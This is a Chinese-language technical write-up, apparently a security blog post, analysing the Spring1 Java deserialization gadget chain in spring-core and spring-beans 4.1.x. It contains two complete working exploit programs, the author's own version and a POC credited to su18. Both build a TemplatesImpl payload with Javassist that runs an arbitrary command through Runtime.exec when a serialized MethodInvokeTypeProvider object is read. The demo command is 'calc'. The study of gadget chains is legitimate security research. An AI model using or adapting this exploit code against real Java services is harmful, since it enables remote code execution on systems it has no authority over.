spring1 分析
条件
所需依赖是:
spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
pom.xml
<!-- https://mvnrepository.com/artifact/org.springframework/spring-core --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.1.RELEASE</version> </dependency> <!-- https://mvnrepository.com/artifact/org.springframework/spring-beans --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.1.1.RELEASE</version> </dependency>
链子
链子
/* Gadget chain: ObjectInputStream.readObject() SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.findMethod() SerializableTypeWrapper.TypeProvider(Proxy).getType() AnnotationInvocationHandler.invoke() HashMap.get() ReflectionUtils.invokeMethod() Method.invoke() Templates(Proxy).newTransformer() AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() ObjectFactory(Proxy).getObject() AnnotationInvocationHandler.invoke() HashMap.get() Method.invoke() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() TemplatesImpl.TransletClassLoader.defineClass() Pwner*(Javassist-generated).<static init> Runtime.exec() */
分析
rce利用
package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.ctf.threermi.*; import java.lang.reflect.Field; public class MyexpTest { public static void setValue(String name, Object target, Object value) { try { Field field = target.getClass().getDeclaredField(name); field.setAccessible(true); field.set(target, value); } catch (Exception ignore) { } } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } }
就是cc的templateImpl
上面可以看到,只要templates.newTransformer();就会弹计算器
入口MethodInvokeTypeProvider#readOject
spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider
。这个类实现了TypeProvider
接口,表示这是一个可以进行反序列化的类。
看一下这个类的readObject
方法,先是调用org.springframework.util.ReflectionUtils#findMethod(java.lang.Class<?>, java.lang.String)
方法,传入的参数为自身的provider.getType().getClass()
和methodName
。
然后调用org.springframework.util.ReflectionUtils#invokeMethod(java.lang.reflect.Method, java.lang.Object)
方法,反射调用执行findMethod
获得的method方法,并且这个反射调用是一个无参调用。
如上图,methodName
我们可以通过反射设置为newTransformer()
方法,关键是如何控制provider
的getType()
方法返回的值处理成 TemplatesImpl ,就可以触发漏洞了。
如上图,看了构造方法,发现provider就是TypeProvider可以自定义,
但需要满足要求:Type类型
很显然TemplateImpl不是Type,所以还得接着找gadget
ObjectFactoryDelegatingInvocationHandler#invoke
在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler
这个类,实现了Serializable
和InvocationHandler
接口。
表明了这个类一方面可以实现序列化,一方面可以实现动态代理代理某些类。
在 invoke 代理时,会调用 ObjectFactory 的 getObject 方法返回ObjectFactory
的实例用于 Method 的反射调用。
看下构造方法
ObjectFactory 的 getObject 方法返回的对象是泛型的。
AnnotationInvocationHandler#invoke
老朋友AnnotationInvocationHandler,最早见面于cc
sun.reflect.annotation.AnnotationInvocationHandler#invoke
最后代码会来到选中的地方,
在cc1中(yso版本),我们通过var4赋值为LazyMap实现了反序列化
memberValues
存储的即是AnnotationInvocationHandler
初始化的时候传入的Map。
var4是需要调用方法的名字,然后将var4作为key在Map中寻找对应的value,最后将这个value返回。
这个类的invoke代理的利用思路就有了:
如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的key
是需要更改返回值的方法名,value
是对应的返回值。
然后用AnnotationInvocationHandler
来动态代理这个类。
这样的话,当我们调用代理类的对应方法时,该方法通过AnnotationInvocationHandler
的invoke()
方法后,返回值就被修改为需要的返回值。
exp
TemplateImpl
... TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); ...
AnnotationInvocationHandler 动态代理
前面说过
然后看构造函数得知这个var2可以在这里赋值
由于这个类不好直接new,所以我们反射的写
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
这个map是什么呢,前面提到
这个类的invoke代理的利用思路就有了:
如果说我们想控制一个类的某个方法的返回值,可以构造一个Map,里面的
key
是需要更改返回值的方法名,value
是对应的返回值。然后用
AnnotationInvocationHandler
来动态代理这个类。这样的话,当我们调用代理类的对应方法时,该方法通过
AnnotationInvocationHandler
的invoke()
方法后,返回值就被修改为需要的返回值。
由于ObjectFactoryDelegatingInvocationHandler#invoke方法中,会调用一个GetObject方法
this.objectFactory 是个泛式,我们期望它是TemplateImpl类型,同时又含有getObject方法。所以可通过AnnotationInvocationHandler
来动态代理一个含有(“getObject”,TemplateImpl)键值对的map
由此写出
// 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); map.put("getObject", templates); InvocationHandler h = (InvocationHandler) constructor.newInstance(Override.class, map); ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(HashMap.class.getClassLoader(), new Class[]{HashMap.class}, h);
ObjectFactory要看后面gadget需要我们是什么类
ObjectFactoryDelegatingInvocationHandler代理
很有意思的是ObjectFactoryDelegatingInvocationHandler也是个代理,很逆天的是这个必须用反射构造,因为是私有方法
首先还是一样的写出反射构造
// 使用ObjectFactoryDelegatingInvocationHandler代理 Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> constructor1 = c1.getDeclaredConstructors()[0]; constructor1.setAccessible(true);
// 顺便把构造函数给写了,前面的objectFactory传入 InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory);
然后map就需要看后文需要什么样的方法,发现MethodInvokeTypeProvider#readOject需要我们有getType方法,这个provider要求是Type类型
同时他又必须得是templateImpl类
// 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
最终
// 使用ObjectFactoryDelegatingInvocationHandler代理 Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> constructor1 = c1.getDeclaredConstructors()[0]; constructor1.setAccessible(true); //InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1); InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory); //构造函数 // 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1);
代理TypeProvider
需要调getType的时候触发,想到之前的map,可以自创一个方法和返回类型
于是乎map
HashMap<String, Object> map1 = new HashMap<>(); map1.put("getType", type); //需要是一个Type类
然后意识到这个map不知道要放哪,这个地方去求助了一下su18的exp
// 代理TypeProvider // getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理 HashMap<String, Object> map1 = new HashMap<>(); map1.put("getType", type); InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1); // 注意到这里的constructor是AnnotationInvocationHandler的constructor Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, h2);
明白了,要自创一个方法和返回类型,只能用AnnotationInvocationHandler是吧
所以说map放在AnnotationInvocationHandler
所以关于自创一个方法和返回类型有一个固定的写法
// 使用 AnnotationInvocationHandler 进行动态代理 // new 个 AnnotationInvocationHandler Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); // new 个 Map,自创方法类型 HashMap<String, Object> map1 = new HashMap<>(); map1.put("方法a", 类型); InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1); // 注意到这里的constructor是AnnotationInvocationHandler的constructor // 提供你需要的方法的那个类 Class<?> class666 = Class.forName("xxx.xxxx.xxxx.xxxxx$那个类"); // 使用 AnnotationInvocationHandler 动态代理 class666() 的 方法a ,使其返回 typeTemplateProxy(自定义) Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{class666}, h2);
这里方法a是 getType, class666是TypeProvider, 类型是Type
MethodInvokeTypeProvider#readOject
反射
// 使用MethodInvokeTypeProvider Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider"); Constructor<?> constructor2 = c2.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object h2 = (Object) constructor1.newInstance(Override.class, h);
看构造方法改前面写错的
//InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, h); Type h1 = (Type) constructor1.newInstance(Override.class, h); //想改TypeProvider改不了,只能改成父类Type
所以变成
// 使用MethodInvokeTypeProvider Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider"); Constructor<?> constructor2 = c2.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object h2 = (Object) constructor1.newInstance(Override.class, h1,templates.newTransformer(),1);
但实际上和网上exp有些出入
// 初始化 MethodInvokeTypeProvider Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer");
由于由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())这个是比较特殊的,所以初始化时把newTransformer传入就没什么卵用,咱只能反射再修改属性
最终exp
自己手搓的
package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import com.ctf.threermi.*; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import org.springframework.beans.factory.ObjectFactory; import javax.xml.transform.Templates; public class MyexpTest { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); //templates.newTransformer(); // org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider; // org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler; // sun.reflect.annotation.AnnotationInvocationHandler // 反射调用newTransformer // Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); // Method action = persons.getMethod("newTransformer"); // action.invoke(templates); //new ObjectFactoryDelegatingInvocationHandler(); // 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); map.put("getObject", templates); InvocationHandler h = (InvocationHandler) constructor.newInstance(Target.class, map); ObjectFactory objectFactory = (ObjectFactory) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, h); // 使用ObjectFactoryDelegatingInvocationHandler代理 Class<?> c1 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> constructor1 = c1.getDeclaredConstructors()[0]; constructor1.setAccessible(true); //InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(Override.class, map1); InvocationHandler h1 = (InvocationHandler) constructor1.newInstance(objectFactory); // 用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 Type type = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, h1); // 代理TypeProvider // getType方法仍然需要使用 AnnotationInvocationHandler 进行动态代理 HashMap<String, Object> map1 = new HashMap<>(); map1.put("getType", type); InvocationHandler h2 = (InvocationHandler) constructor.newInstance(Target.class, map1); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, h2); // 使用MethodInvokeTypeProvider Class<?> c2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> constructor2 = c2.getDeclaredConstructors()[0]; constructor2.setAccessible(true); Object h3 = (Object) constructor2.newInstance(typeProviderProxy, Object.class.getMethod("toString"),1); Field field = c2.getDeclaredField("methodName"); field.setAccessible(true); field.set(h3, "newTransformer"); // serialize(h3); unserialize("ser.bin"); } }
直接就用了su18
师傅对spring1
分析的POC
package exp; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.beans.factory.ObjectFactory; import javax.rmi.CORBA.Util; import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; public class SpringExp { public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void main(String[] args) throws Exception { TemplatesImpl tmpl = new TemplatesImpl(); setValue(tmpl,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(tmpl, "_bytecodes", bytecodes); setValue(tmpl,"_tfactory", new TransformerFactoryImpl()); // 使用 AnnotationInvocationHandler 动态代理 Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true); HashMap<String, Object> map = new HashMap<>(); map.put("getObject", tmpl); // 使用动态代理初始化 AnnotationInvocationHandler InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map); // 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler); // 当触发factory.getObject()方法时,返回值就被修改为tmpl // test : factory.toString(); //ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject //并且会调用 method.invoke(返回值,args) //此时返回值被我们使用动态代理改为了 TemplatesImpl //接下来需要 method 是 newTransformer(),就可以触发调用链了 Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory); //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler); //hashMap.get(1); // ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler // 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法 // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类 // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法 Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, ofdHandler); // typeTemplateProxy.hashCode(); // 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类 HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy); InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2); Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler); // 初始化 MethodInvokeTypeProvider Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); // 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType()) // 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去 Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer"); //serialize(objects); unserialize("ser.bin"); } }
reference
Java反序列化之Spring1链分析 - 先知社区 (aliyun.com)
https://su18.org/post/ysoserial-su18-3/#spring1